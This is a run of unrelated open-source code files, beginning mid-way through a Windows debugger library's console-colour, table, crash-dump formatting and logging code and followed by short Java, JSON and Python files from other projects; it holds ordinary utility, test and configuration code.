black." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.FOREGROUND_MASK #wAttributes |= win32.FOREGROUND_BLACK cls._set_text_attributes(wAttributes) @classmethod def white(cls): "Make the text foreground color white." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.FOREGROUND_MASK wAttributes |= win32.FOREGROUND_GREY cls._set_text_attributes(wAttributes) @classmethod def red(cls): "Make the text foreground color red." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.FOREGROUND_MASK wAttributes |= win32.FOREGROUND_RED cls._set_text_attributes(wAttributes) @classmethod def green(cls): "Make the text foreground color green." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.FOREGROUND_MASK wAttributes |= win32.FOREGROUND_GREEN cls._set_text_attributes(wAttributes) @classmethod def blue(cls): "Make the text foreground color blue." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.FOREGROUND_MASK wAttributes |= win32.FOREGROUND_BLUE cls._set_text_attributes(wAttributes) @classmethod def cyan(cls): "Make the text foreground color cyan." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.FOREGROUND_MASK wAttributes |= win32.FOREGROUND_CYAN cls._set_text_attributes(wAttributes) @classmethod def magenta(cls): "Make the text foreground color magenta." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.FOREGROUND_MASK wAttributes |= win32.FOREGROUND_MAGENTA cls._set_text_attributes(wAttributes) @classmethod def yellow(cls): "Make the text foreground color yellow." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.FOREGROUND_MASK wAttributes |= win32.FOREGROUND_YELLOW cls._set_text_attributes(wAttributes) #-------------------------------------------------------------------------- @classmethod def bk_default(cls): "Make the current background color the default." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.BACKGROUND_MASK #wAttributes |= win32.BACKGROUND_BLACK wAttributes &= ~win32.BACKGROUND_INTENSITY cls._set_text_attributes(wAttributes) @classmethod def bk_light(cls): "Make the current background color light." wAttributes = cls._get_text_attributes() wAttributes |= win32.BACKGROUND_INTENSITY cls._set_text_attributes(wAttributes) @classmethod def bk_dark(cls): "Make the current background color dark." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.BACKGROUND_INTENSITY cls._set_text_attributes(wAttributes) @classmethod def bk_black(cls): "Make the text background color black." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.BACKGROUND_MASK #wAttributes |= win32.BACKGROUND_BLACK cls._set_text_attributes(wAttributes) @classmethod def bk_white(cls): "Make the text background color white." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.BACKGROUND_MASK wAttributes |= win32.BACKGROUND_GREY cls._set_text_attributes(wAttributes) @classmethod def bk_red(cls): "Make the text background color red." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.BACKGROUND_MASK wAttributes |= win32.BACKGROUND_RED cls._set_text_attributes(wAttributes) @classmethod def bk_green(cls): "Make the text background color green." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.BACKGROUND_MASK wAttributes |= win32.BACKGROUND_GREEN cls._set_text_attributes(wAttributes) @classmethod def bk_blue(cls): "Make the text background color blue." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.BACKGROUND_MASK wAttributes |= win32.BACKGROUND_BLUE cls._set_text_attributes(wAttributes) @classmethod def bk_cyan(cls): "Make the text background color cyan." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.BACKGROUND_MASK wAttributes |= win32.BACKGROUND_CYAN cls._set_text_attributes(wAttributes) @classmethod def bk_magenta(cls): "Make the text background color magenta." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.BACKGROUND_MASK wAttributes |= win32.BACKGROUND_MAGENTA cls._set_text_attributes(wAttributes) @classmethod def bk_yellow(cls): "Make the text background color yellow." wAttributes = cls._get_text_attributes() wAttributes &= ~win32.BACKGROUND_MASK wAttributes |= win32.BACKGROUND_YELLOW cls._set_text_attributes(wAttributes) #------------------------------------------------------------------------------ # TODO: another class for ASCII boxes class Table (object): """ Text based table. The number of columns and the width of each column is automatically calculated. """ def __init__(self, sep = ' '): """ @type sep: str @param sep: Separator between cells in each row. """ self.__cols = list() self.__width = list() self.__sep = sep def addRow(self, *row): """ Add a row to the table. All items are converted to strings. @type row: tuple @keyword row: Each argument is a cell in the table. """ row = [ str(item) for item in row ] len_row = [ len(item) for item in row ] width = self.__width len_old = len(width) len_new = len(row) known = min(len_old, len_new) missing = len_new - len_old if missing > 0: width.extend( len_row[ -missing : ] ) elif missing < 0: len_row.extend( [0] * (-missing) ) self.__width = [ max( width[i], len_row[i] ) for i in compat.xrange(len(len_row)) ] self.__cols.append(row) def justify(self, column, direction): """ Make the text in a column left or right justified. @type column: int @param column: Index of the column. @type direction: int @param direction: C{-1} to justify left, C{1} to justify right. @raise IndexError: Bad column index. @raise ValueError: Bad direction value. """ if direction == -1: self.__width[column] = abs(self.__width[column]) elif direction == 1: self.__width[column] = - abs(self.__width[column]) else: raise ValueError("Bad direction value.") def getWidth(self): """ Get the width of the text output for the table. @rtype: int @return: Width in characters for the text output, including the newline character. """ width = 0 if self.__width: width = sum( abs(x) for x in self.__width ) width = width + len(self.__width) * len(self.__sep) + 1 return width def getOutput(self): """ Get the text output for the table. @rtype: str @return: Text output. """ return '%s\n' % '\n'.join( self.yieldOutput() ) def yieldOutput(self): """ Generate the text output for the table. @rtype: generator of str @return: Text output. """ width = self.__width if width: num_cols = len(width) fmt = ['%%%ds' % -w for w in width] if width[-1] > 0: fmt[-1] = '%s' fmt = self.__sep.join(fmt) for row in self.__cols: row.extend( [''] * (num_cols - len(row)) ) yield fmt % tuple(row) def show(self): """ Print the text output for the table. """ print(self.getOutput()) #------------------------------------------------------------------------------ class CrashDump (StaticClass): """ Static functions for crash dumps. @type reg_template: str @cvar reg_template: Template for the L{dump_registers} method. """ # Templates for the dump_registers method. reg_template = { win32.ARCH_I386 : ( 'eax=%(Eax).8x ebx=%(Ebx).8x ecx=%(Ecx).8x edx=%(Edx).8x esi=%(Esi).8x edi=%(Edi).8x\n' 'eip=%(Eip).8x esp=%(Esp).8x ebp=%(Ebp).8x %(efl_dump)s\n' 'cs=%(SegCs).4x ss=%(SegSs).4x ds=%(SegDs).4x es=%(SegEs).4x fs=%(SegFs).4x gs=%(SegGs).4x efl=%(EFlags).8x\n' ), win32.ARCH_AMD64 : ( 'rax=%(Rax).16x rbx=%(Rbx).16x rcx=%(Rcx).16x\n' 'rdx=%(Rdx).16x rsi=%(Rsi).16x rdi=%(Rdi).16x\n' 'rip=%(Rip).16x rsp=%(Rsp).16x rbp=%(Rbp).16x\n' ' r8=%(R8).16x r9=%(R9).16x r10=%(R10).16x\n' 'r11=%(R11).16x r12=%(R12).16x r13=%(R13).16x\n' 'r14=%(R14).16x r15=%(R15).16x\n' '%(efl_dump)s\n' 'cs=%(SegCs).4x ss=%(SegSs).4x ds=%(SegDs).4x es=%(SegEs).4x fs=%(SegFs).4x gs=%(SegGs).4x efl=%(EFlags).8x\n' ), } @staticmethod def dump_flags(efl): """ Dump the x86 processor flags. The output mimics that of the WinDBG debugger. Used by L{dump_registers}. @type efl: int @param efl: Value of the eFlags register. @rtype: str @return: Text suitable for logging. """ if efl is None: return '' efl_dump = 'iopl=%1d' % ((efl & 0x3000) >> 12) if efl & 0x100000: efl_dump += ' vip' else: efl_dump += ' ' if efl & 0x80000: efl_dump += ' vif' else: efl_dump += ' ' # 0x20000 ??? if efl & 0x800: efl_dump += ' ov' # Overflow else: efl_dump += ' no' # No overflow if efl & 0x400: efl_dump += ' dn' # Downwards else: efl_dump += ' up' # Upwards if efl & 0x200: efl_dump += ' ei' # Enable interrupts else: efl_dump += ' di' # Disable interrupts # 0x100 trap flag if efl & 0x80: efl_dump += ' ng' # Negative else: efl_dump += ' pl' # Positive if efl & 0x40: efl_dump += ' zr' # Zero else: efl_dump += ' nz' # Nonzero if efl & 0x10: efl_dump += ' ac' # Auxiliary carry else: efl_dump += ' na' # No auxiliary carry # 0x8 ??? if efl & 0x4: efl_dump += ' pe' # Parity odd else: efl_dump += ' po' # Parity even # 0x2 ??? if efl & 0x1: efl_dump += ' cy' # Carry else: efl_dump += ' nc' # No carry return efl_dump @classmethod def dump_registers(cls, registers, arch = None): """ Dump the x86/x64 processor register values. The output mimics that of the WinDBG debugger. @type registers: dict( str S{->} int ) @param registers: Dictionary mapping register names to their values. @type arch: str @param arch: Architecture of the machine whose registers were dumped. Defaults to the current architecture. Currently only the following architectures are supported: - L{win32.ARCH_I386} - L{win32.ARCH_AMD64} @rtype: str @return: Text suitable for logging. """ if registers is None: return '' if arch is None: if 'Eax' in registers: arch = win32.ARCH_I386 elif 'Rax' in registers: arch = win32.ARCH_AMD64 else: arch = 'Unknown' if arch not in cls.reg_template: msg = "Don't know how to dump the registers for architecture: %s" raise NotImplementedError(msg % arch) registers = registers.copy() registers['efl_dump'] = cls.dump_flags( registers['EFlags'] ) return cls.reg_template[arch] % registers @staticmethod def dump_registers_peek(registers, data, separator = ' ', width = 16): """ Dump data pointed to by the given registers, if any. @type registers: dict( str S{->} int ) @param registers: Dictionary mapping register names to their values. This value is returned by L{Thread.get_context}. @type data: dict( str S{->} str ) @param data: Dictionary mapping register names to the data they point to. This value is returned by L{Thread.peek_pointers_in_registers}. @rtype: str @return: Text suitable for logging. """ if None in (registers, data): return '' names = compat.keys(data) names.sort() result = '' for reg_name in names: tag = reg_name.lower() dumped = HexDump.hexline(data[reg_name], separator, width) result += '%s -> %s\n' % (tag, dumped) return result @staticmethod def dump_data_peek(data, base = 0, separator = ' ', width = 16, bits = None): """ Dump data from pointers guessed within the given binary data. @type data: str @param data: Dictionary mapping offsets to the data they point to. @type base: int @param base: Base offset. @type bits: int @param bits: (Optional) Number of bits of the target architecture. The default is platform dependent. See: L{HexDump.address_size} @rtype: str @return: Text suitable for logging. """ if data is None: return '' pointers = compat.keys(data) pointers.sort() result = '' for offset in pointers: dumped = HexDump.hexline(data[offset], separator, width) address = HexDump.address(base + offset, bits) result += '%s -> %s\n' % (address, dumped) return result @staticmethod def dump_stack_peek(data, separator = ' ', width = 16, arch = None): """ Dump data from pointers guessed within the given stack dump. @type data: str @param data: Dictionary mapping stack offsets to the data they point to. @type separator: str @param separator: Separator between the hexadecimal representation of each character. @type width: int @param width: (Optional) Maximum number of characters to convert per text line. This value is also used for padding. @type arch: str @param arch: Architecture of the machine whose registers were dumped. Defaults to the current architecture. @rtype: str @return: Text suitable for logging. """ if data is None: return '' if arch is None: arch = win32.arch pointers = compat.keys(data) pointers.sort() result = '' if pointers: if arch == win32.ARCH_I386: spreg = 'esp' elif arch == win32.ARCH_AMD64: spreg = 'rsp' else: spreg = 'STACK' # just a generic tag tag_fmt = '[%s+0x%%.%dx]' % (spreg, len( '%x' % pointers[-1] ) ) for offset in pointers: dumped = HexDump.hexline(data[offset], separator, width) tag = tag_fmt % offset result += '%s -> %s\n' % (tag, dumped) return result @staticmethod def dump_stack_trace(stack_trace, bits = None): """ Dump a stack trace, as returned by L{Thread.get_stack_trace} with the C{bUseLabels} parameter set to C{False}. @type stack_trace: list( int, int, str ) @param stack_trace: Stack trace as a list of tuples of ( return address, frame pointer, module filename ) @type bits: int @param bits: (Optional) Number of bits of the target architecture. The default is platform dependent. See: L{HexDump.address_size} @rtype: str @return: Text suitable for logging. """ if not stack_trace: return '' table = Table() table.addRow('Frame', 'Origin', 'Module') for (fp, ra, mod) in stack_trace: fp_d = HexDump.address(fp, bits) ra_d = HexDump.address(ra, bits) table.addRow(fp_d, ra_d, mod) return table.getOutput() @staticmethod def dump_stack_trace_with_labels(stack_trace, bits = None): """ Dump a stack trace, as returned by L{Thread.get_stack_trace_with_labels}. @type stack_trace: list( int, int, str ) @param stack_trace: Stack trace as a list of tuples of ( return address, frame pointer, module filename ) @type bits: int @param bits: (Optional) Number of bits of the target architecture. The default is platform dependent. See: L{HexDump.address_size} @rtype: str @return: Text suitable for logging. """ if not stack_trace: return '' table = Table() table.addRow('Frame', 'Origin') for (fp, label) in stack_trace: table.addRow( HexDump.address(fp, bits), label ) return table.getOutput() # TODO # + Instead of a star when EIP points to, it would be better to show # any register value (or other values like the exception address) that # points to a location in the dissassembled code. # + It'd be very useful to show some labels here. # + It'd be very useful to show register contents for code at EIP @staticmethod def dump_code(disassembly, pc = None, bLowercase = True, bits = None): """ Dump a disassembly. Optionally mark where the program counter is. @type disassembly: list of tuple( int, int, str, str ) @param disassembly: Disassembly dump as returned by L{Process.disassemble} or L{Thread.disassemble_around_pc}. @type pc: int @param pc: (Optional) Program counter. @type bLowercase: bool @param bLowercase: (Optional) If C{True} convert the code to lowercase. @type bits: int @param bits: (Optional) Number of bits of the target architecture. The default is platform dependent. See: L{HexDump.address_size} @rtype: str @return: Text suitable for logging. """ if not disassembly: return '' table = Table(sep = ' | ') for (addr, size, code, dump) in disassembly: if bLowercase: code = code.lower() if addr == pc: addr = ' * %s' % HexDump.address(addr, bits) else: addr = ' %s' % HexDump.address(addr, bits) table.addRow(addr, dump, code) table.justify(1, 1) return table.getOutput() @staticmethod def dump_code_line(disassembly_line, bShowAddress = True, bShowDump = True, bLowercase = True, dwDumpWidth = None, dwCodeWidth = None, bits = None): """ Dump a single line of code. To dump a block of code use L{dump_code}. @type disassembly_line: tuple( int, int, str, str ) @param disassembly_line: Single item of the list returned by L{Process.disassemble} or L{Thread.disassemble_around_pc}. @type bShowAddress: bool @param bShowAddress: (Optional) If C{True} show the memory address. @type bShowDump: bool @param bShowDump: (Optional) If C{True} show the hexadecimal dump. @type bLowercase: bool @param bLowercase: (Optional) If C{True} convert the code to lowercase. @type dwDumpWidth: int or None @param dwDumpWidth: (Optional) Width in characters of the hex dump. @type dwCodeWidth: int or None @param dwCodeWidth: (Optional) Width in characters of the code. @type bits: int @param bits: (Optional) Number of bits of the target architecture. The default is platform dependent. See: L{HexDump.address_size} @rtype: str @return: Text suitable for logging. """ if bits is None: address_size = HexDump.address_size else: address_size = bits / 4 (addr, size, code, dump) = disassembly_line dump = dump.replace(' ', '') result = list() fmt = '' if bShowAddress: result.append( HexDump.address(addr, bits) ) fmt += '%%%ds:' % address_size if bShowDump: result.append(dump) if dwDumpWidth: fmt += ' %%-%ds' % dwDumpWidth else: fmt += ' %s' if bLowercase: code = code.lower() result.append(code) if dwCodeWidth: fmt += ' %%-%ds' % dwCodeWidth else: fmt += ' %s' return fmt % tuple(result) @staticmethod def dump_memory_map(memoryMap, mappedFilenames = None, bits = None): """ Dump the memory map of a process. Optionally show the filenames for memory mapped files as well. @type memoryMap: list( L{win32.MemoryBasicInformation} ) @param memoryMap: Memory map returned by L{Process.get_memory_map}. @type mappedFilenames: dict( int S{->} str ) @param mappedFilenames: (Optional) Memory mapped filenames returned by L{Process.get_mapped_filenames}. @type bits: int @param bits: (Optional) Number of bits of the target architecture. The default is platform dependent. See: L{HexDump.address_size} @rtype: str @return: Text suitable for logging. """ if not memoryMap: return '' table = Table() if mappedFilenames: table.addRow("Address", "Size", "State", "Access", "Type", "File") else: table.addRow("Address", "Size", "State", "Access", "Type") # For each memory block in the map... for mbi in memoryMap: # Address and size of memory block. BaseAddress = HexDump.address(mbi.BaseAddress, bits) RegionSize = HexDump.address(mbi.RegionSize, bits) # State (free or allocated). mbiState = mbi.State if mbiState == win32.MEM_RESERVE: State = "Reserved" elif mbiState == win32.MEM_COMMIT: State = "Commited" elif mbiState == win32.MEM_FREE: State = "Free" else: State = "Unknown" # Page protection bits (R/W/X/G). if mbiState != win32.MEM_COMMIT: Protect = "" else: mbiProtect = mbi.Protect if mbiProtect & win32.PAGE_NOACCESS: Protect = "--- " elif mbiProtect & win32.PAGE_READONLY: Protect = "R-- " elif mbiProtect & win32.PAGE_READWRITE: Protect = "RW- " elif mbiProtect & win32.PAGE_WRITECOPY: Protect = "RC- " elif mbiProtect & win32.PAGE_EXECUTE: Protect = "--X " elif mbiProtect & win32.PAGE_EXECUTE_READ: Protect = "R-X " elif mbiProtect & win32.PAGE_EXECUTE_READWRITE: Protect = "RWX " elif mbiProtect & win32.PAGE_EXECUTE_WRITECOPY: Protect = "RCX " else: Protect = "??? " if mbiProtect & win32.PAGE_GUARD: Protect += "G" else: Protect += "-" if mbiProtect & win32.PAGE_NOCACHE: Protect += "N" else: Protect += "-" if mbiProtect & win32.PAGE_WRITECOMBINE: Protect += "W" else: Protect += "-" # Type (file mapping, executable image, or private memory). mbiType = mbi.Type if mbiType == win32.MEM_IMAGE: Type = "Image" elif mbiType == win32.MEM_MAPPED: Type = "Mapped" elif mbiType == win32.MEM_PRIVATE: Type = "Private" elif mbiType == 0: Type = "" else: Type = "Unknown" # Output a row in the table. if mappedFilenames: FileName = mappedFilenames.get(mbi.BaseAddress, '') table.addRow( BaseAddress, RegionSize, State, Protect, Type, FileName ) else: table.addRow( BaseAddress, RegionSize, State, Protect, Type ) # Return the table output. return table.getOutput() #------------------------------------------------------------------------------ class DebugLog (StaticClass): 'Static functions for debug logging.' @staticmethod def log_text(text): """ Log lines of text, inserting a timestamp. @type text: str @param text: Text to log. @rtype: str @return: Log line. """ if text.endswith('\n'): text = text[:-len('\n')] #text = text.replace('\n', '\n\t\t') # text CSV ltime = time.strftime("%X") msecs = (time.time() % 1) * 1000 return '[%s.%04d] %s' % (ltime, msecs, text) #return '[%s.%04d]\t%s' % (ltime, msecs, text) # text CSV @classmethod def log_event(cls, event, text = None): """ Log lines of text associated with a debug event. @type event: L{Event} @param event: Event object. @type text: str @param text: (Optional) Text to log. If no text is provided the default is to show a description of the event itself. @rtype: str @return: Log line. """ if not text: if event.get_event_code() == win32.EXCEPTION_DEBUG_EVENT: what = event.get_exception_description() if event.is_first_chance(): what = '%s (first chance)' % what else: what = '%s (second chance)' % what try: address = event.get_fault_address() except NotImplementedError: address = event.get_exception_address() else: what = event.get_event_name() address = event.get_thread().get_pc() process = event.get_process() label = process.get_label_at_address(address) address = HexDump.address(address, process.get_bits()) if label: where = '%s (%s)' % (address, label) else: where = address text = '%s at %s' % (what, where) text = 'pid %d tid %d: %s' % (event.get_pid(), event.get_tid(), text) #text = 'pid %d tid %d:\t%s' % (event.get_pid(), event.get_tid(), text) # text CSV return cls.log_text(text) #------------------------------------------------------------------------------ class Logger(object): """ Logs text to standard output and/or a text file. @type logfile: str or None @ivar logfile: Append messages to this text file. @type verbose: bool @ivar verbose: C{True} to print messages to standard output. @type fd: file @ivar fd: File object where log messages are printed to. C{None} if no log file is used. """ def __init__(self, logfile = None, verbose = True): """ @type logfile: str or None @param logfile: Append messages to this text file. @type verbose: bool @param verbose: C{True} to print messages to standard output. """ self.verbose = verbose self.logfile = logfile if self.logfile: self.fd = open(self.logfile, 'a+') def __logfile_error(self, e): """ Shows an error message to standard error if the log file can't be written to. Used internally. @type e: Exception @param e: Exception raised when trying to write to the log file. """ from sys import stderr msg = "Warning, error writing log file %s: %s\n" msg = msg % (self.logfile, str(e)) stderr.write(DebugLog.log_text(msg)) self.logfile = None self.fd = None def __do_log(self, text): """ Writes the given text verbatim into the log file (if any) and/or standard input (if the verbose flag is turned on). Used internally. @type text: str @param text: Text to print. """ if isinstance(text, compat.unicode): text = text.encode('cp1252') if self.verbose: print(text) if self.logfile: try: self.fd.writelines('%s\n' % text) except IOError: e = sys.exc_info()[1] self.__logfile_error(e) def log_text(self, text): """ Log lines of text, inserting a timestamp. @type text: str @param text: Text to log. """ self.__do_log( DebugLog.log_text(text) ) def log_event(self, event, text = None): """ Log lines of text associated with a debug event. @type event: L{Event} @param event: Event object. @type text: str @param text: (Optional) Text to log. If no text is provided the default is to show a description of the event itself. """ self.__do_log( DebugLog.log_event(event, text) ) def log_exc(self): """ Log lines of text associated with the last Python exception. """ self.__do_log( 'Exception raised: %s' % traceback.format_exc() ) def is_enabled(self): """ Determines if the logger will actually print anything when the log_* methods are called. This may save some processing if the log text requires a lengthy calculation to prepare. If no log file is set and stdout logging is disabled, there's no point in preparing a log text that won't be shown to anyone. @rtype: bool @return: C{True} if a log file was set and/or standard output logging is enabled, or C{False} otherwise. """ return self.verbose or self.logfile
30,263
439
<filename>exercises/practice/phone-number/.meta/config.json { "blurb": "Clean up user-entered phone numbers so that they can be sent SMS messages.", "authors": [ "sagarsane" ], "contributors": [ "aadityakulkarni", "c-thornton", "colin-mullikin", "FridaTveit", "jmrunkle", "jsertel", "jtigger", "kytrinyx", "lemoncurry", "matthewmorgan", "mau0727", "mirkoperillo", "morrme", "msomji", "muzimuzhi", "sit", "SleeplessByte", "Smarticles101", "sshine", "stkent", "TimoleonLatinopoulos", "vdemeester", "Zaldrick" ], "files": { "solution": [ "src/main/java/PhoneNumber.java" ], "test": [ "src/test/java/PhoneNumberTest.java" ], "example": [ ".meta/src/reference/java/PhoneNumber.java" ] }, "source": "Event Manager by JumpstartLab", "source_url": "http://tutorials.jumpstartlab.com/projects/eventmanager.html" }
451
402
package com.vaadin.fusion; import java.lang.reflect.AnnotatedParameterizedType; import java.lang.reflect.AnnotatedType; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.lang.reflect.Parameter; import java.util.Map; import org.junit.Before; import org.junit.Test; import static org.junit.Assert.assertTrue; public class NonnullReflectionTest { private Field field; private Method method; private Parameter parameter; @Before public void init() throws NoSuchFieldException, NoSuchMethodException { field = NonnullEntity.class.getDeclaredField("nonNullableField"); method = NonnullEntity.class.getDeclaredMethod("nonNullableMethod", Map.class); parameter = method.getParameters()[0]; } @Test public void should_haveNonNullableField() { assertTrue(field.getAnnotatedType().isAnnotationPresent(Nonnull.class)); } @Test public void should_haveFieldWithNonNullableCollectionItem() { AnnotatedType listItemType = ((AnnotatedParameterizedType) field .getAnnotatedType()).getAnnotatedActualTypeArguments()[0]; assertTrue(listItemType.isAnnotationPresent(Nonnull.class)); } @Test public void should_haveMethodWithNonNullableReturnType() { assertTrue(method.getAnnotatedReturnType() .isAnnotationPresent(Nonnull.class)); } @Test public void should_haveMethodWithNonNullableParameter() { assertTrue(parameter.getAnnotatedType() .isAnnotationPresent(Nonnull.class)); } @Test public void should_haveMethodParameterWithNonNullableCollectionItemType() { AnnotatedType mapValueType = ((AnnotatedParameterizedType) parameter .getAnnotatedType()).getAnnotatedActualTypeArguments()[1]; assertTrue(mapValueType.isAnnotationPresent(Nonnull.class)); } }
708
715
# Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. __all__ = ['average_pool_2d', 'batch_to_space2d', 'channel_to_space2d', 'max_pool_2d', 'space_to_batch2d', 'space_to_channel2d'] from typing import Union, Tuple, Optional import numpy as np from jax import numpy as jn, lax from objax.constants import ConvPadding from objax.typing import JaxArray, ConvPaddingInt from objax.util import to_padding, to_tuple def average_pool_2d(x: JaxArray, size: Union[Tuple[int, int], int] = 2, strides: Optional[Union[Tuple[int, int], int]] = None, padding: Union[ConvPadding, str, ConvPaddingInt] = ConvPadding.VALID) -> JaxArray: """Applies average pooling using a square 2D filter. Args: x: input tensor of shape (N, C, H, W). size: size of pooling filter. strides: stride step, use size when stride is none (default). padding: padding of the input tensor, either Padding.SAME or Padding.VALID or numerical values. Returns: output tensor of shape (N, C, H, W). """ size = to_tuple(size, 2) strides = to_tuple(strides, 2) if strides else size padding = to_padding(padding, 2) if isinstance(padding, tuple): padding = ((0, 0), (0, 0)) + padding return lax.reduce_window(x, 0, lax.add, (1, 1) + size, (1, 1) + strides, padding=padding) / np.prod(size) def batch_to_space2d(x: JaxArray, size: Union[Tuple[int, int], int] = 2) -> JaxArray: """Transfer batch dimension N into spatial dimensions (H, W). Args: x: input tensor of shape (N, C, H, W). size: size of spatial area. Returns: output tensor of shape (N // (size[0] * size[1]), C, H * size[0], W * size[1]). """ size = to_tuple(size, 2) s = x.shape y = x.reshape((-1, size[0], size[1], s[1], s[2], s[3])) y = y.transpose((0, 3, 4, 1, 5, 2)) return y.reshape((s[0] // (size[0] * size[1]), s[1], s[2] * size[0], s[3] * size[1])) def channel_to_space2d(x: JaxArray, size: Union[Tuple[int, int], int] = 2) -> JaxArray: """Transfer channel dimension C into spatial dimensions (H, W). Args: x: input tensor of shape (N, C, H, W). size: size of spatial area. Returns: output tensor of shape (N, C // (size[0] * size[1]), H * size[0], W * size[1]). """ size = to_tuple(size, 2) s = x.shape y = x.reshape((s[0], -1, size[0], size[1], s[2], s[3])) y = y.transpose((0, 1, 4, 2, 5, 3)) return y.reshape((s[0], s[1] // (size[0] * size[1]), s[2] * size[0], s[3] * size[1])) def max_pool_2d(x: JaxArray, size: Union[Tuple[int, int], int] = 2, strides: Optional[Union[Tuple[int, int], int]] = None, padding: Union[ConvPadding, str, ConvPaddingInt] = ConvPadding.VALID) -> JaxArray: """Applies max pooling using a square 2D filter. Args: x: input tensor of shape (N, C, H, W). size: size of pooling filter. strides: stride step, use size when stride is none (default). padding: padding of the input tensor, either Padding.SAME or Padding.VALID or numerical values. Returns: output tensor of shape (N, C, H, W). """ size = to_tuple(size, 2) strides = to_tuple(strides, 2) if strides else size padding = to_padding(padding, 2) if isinstance(padding, tuple): padding = ((0, 0), (0, 0)) + padding return lax.reduce_window(x, -jn.inf, lax.max, (1, 1) + size, (1, 1) + strides, padding=padding) def space_to_batch2d(x: JaxArray, size: Union[Tuple[int, int], int] = 2) -> JaxArray: """Transfer spatial dimensions (H, W) into batch dimension N. Args: x: input tensor of shape (N, C, H, W). size: size of spatial area. Returns: output tensor of shape (N * size[0] * size[1]), C, H // size[0], W // size[1]). """ size = to_tuple(size, 2) s = x.shape y = x.reshape((s[0], s[1], s[2] // size[0], size[0], s[3] // size[1], size[1])) y = y.transpose((0, 3, 5, 1, 2, 4)) return y.reshape((s[0] * size[0] * size[1], s[1], s[2] // size[0], s[3] // size[1])) def space_to_channel2d(x: JaxArray, size: Union[Tuple[int, int], int] = 2) -> JaxArray: """Transfer spatial dimensions (H, W) into channel dimension C. Args: x: input tensor of shape (N, C, H, W). size: size of spatial area. Returns: output tensor of shape (N, C * size[0] * size[1]), H // size[0], W // size[1]). """ size = to_tuple(size, 2) s = x.shape y = x.reshape((s[0], s[1], s[2] // size[0], size[0], s[3] // size[1], size[1])) y = y.transpose((0, 1, 3, 5, 2, 4)) return y.reshape((s[0], s[1] * size[0] * size[1], s[2] // size[0], s[3] // size[1]))
2,264
763
package org.batfish.specifier.parboiled; import com.google.common.base.MoreObjects; import java.util.Objects; abstract class SetOpRoutingPolicyAstNode implements RoutingPolicyAstNode { private final RoutingPolicyAstNode _left; private final RoutingPolicyAstNode _right; static SetOpRoutingPolicyAstNode create(Character c, AstNode left, AstNode right) { RoutingPolicyAstNode leftSpec = (RoutingPolicyAstNode) left; RoutingPolicyAstNode rightSpec = (RoutingPolicyAstNode) right; switch (c) { case ',': return new UnionRoutingPolicyAstNode(leftSpec, rightSpec); case '\\': return new DifferenceRoutingPolicyAstNode(leftSpec, rightSpec); default: throw new IllegalStateException("Unknown set operation for node spec " + c); } } SetOpRoutingPolicyAstNode(RoutingPolicyAstNode left, RoutingPolicyAstNode right) { _left = left; _right = right; } public final RoutingPolicyAstNode getLeft() { return _left; } public final RoutingPolicyAstNode getRight() { return _right; } @Override public final boolean equals(Object o) { if (this == o) { return true; } if (o == null || getClass() != o.getClass()) { return false; } SetOpRoutingPolicyAstNode that = (SetOpRoutingPolicyAstNode) o; return Objects.equals(_left, that._left) && Objects.equals(_right, that._right); } @Override public final int hashCode() { return Objects.hash(getClass(), _left, _right); } @Override public final String toString() { return MoreObjects.toStringHelper(getClass()) .add("left", _left) .add("right", _right) .toString(); } }
597
304
<filename>cloudnet-driver/src/main/java/de/dytanic/cloudnet/driver/event/events/module/ModulePreStartEvent.java /* * Copyright 2019-2021 CloudNetService team & contributors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package de.dytanic.cloudnet.driver.event.events.module; import de.dytanic.cloudnet.driver.event.ICancelable; import de.dytanic.cloudnet.driver.module.IModuleProvider; import de.dytanic.cloudnet.driver.module.IModuleWrapper; import de.dytanic.cloudnet.driver.module.ModuleLifeCycle; /** * This event is being called before a module has been started and the tasks with the lifecycle {@link * ModuleLifeCycle#STARTED} of this module have been fired. {@link IModuleWrapper#getModuleLifeCycle()} is still {@link * ModuleLifeCycle#LOADED} or {@link ModuleLifeCycle#STOPPED}. */ public final class ModulePreStartEvent extends ModuleEvent implements ICancelable { private boolean cancelled = false; public ModulePreStartEvent(IModuleProvider moduleProvider, IModuleWrapper module) { super(moduleProvider, module); } @Override public boolean isCancelled() { return this.cancelled; } @Override public void setCancelled(boolean value) { this.cancelled = value; } }
511
1,273
<filename>src/main/java/org/broadinstitute/hellbender/tools/walkers/annotator/allelespecific/AlleleSpecificAnnotation.java package org.broadinstitute.hellbender.tools.walkers.annotator.allelespecific; import org.broadinstitute.hellbender.tools.walkers.annotator.Annotation; /** * This is a marker interface used to indicate which annotations are allele-specific. */ public interface AlleleSpecificAnnotation extends Annotation { default String getEmptyRawValue() { return "0"; } }
153
1,350
